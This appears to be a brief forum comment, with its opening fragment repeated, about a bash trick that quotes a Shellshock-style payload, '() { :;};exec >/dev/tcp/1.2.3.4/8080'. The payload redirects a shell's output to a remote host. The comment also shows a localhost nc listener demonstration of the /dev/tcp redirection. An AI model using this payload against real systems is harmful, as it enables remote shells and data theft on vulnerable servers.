Plus one for this, which I'd never heard of! () { :;};exec >/dev/tcp/1.2.3.4/8080 In terminal A: hobbes@metalbaby:~$ nc -l -p 9999 -vv In terminal B

Plus one for this, which I'd never heard of! () { :;};exec >/dev/tcp/1.2.3.4/8080 In terminal A: hobbes@metalbaby:~$ nc -l -p 9999 -vv In terminal B: hobbes@metalbaby:~$ exec >/dev/tcp/127.0.0.1/9999 Results: hobbes@metalbaby:~$ nc -l -p 9999 -vv listening on [any] 9999 ... connect to [127.0.0.1] from localhost [127.0.0.1] 43230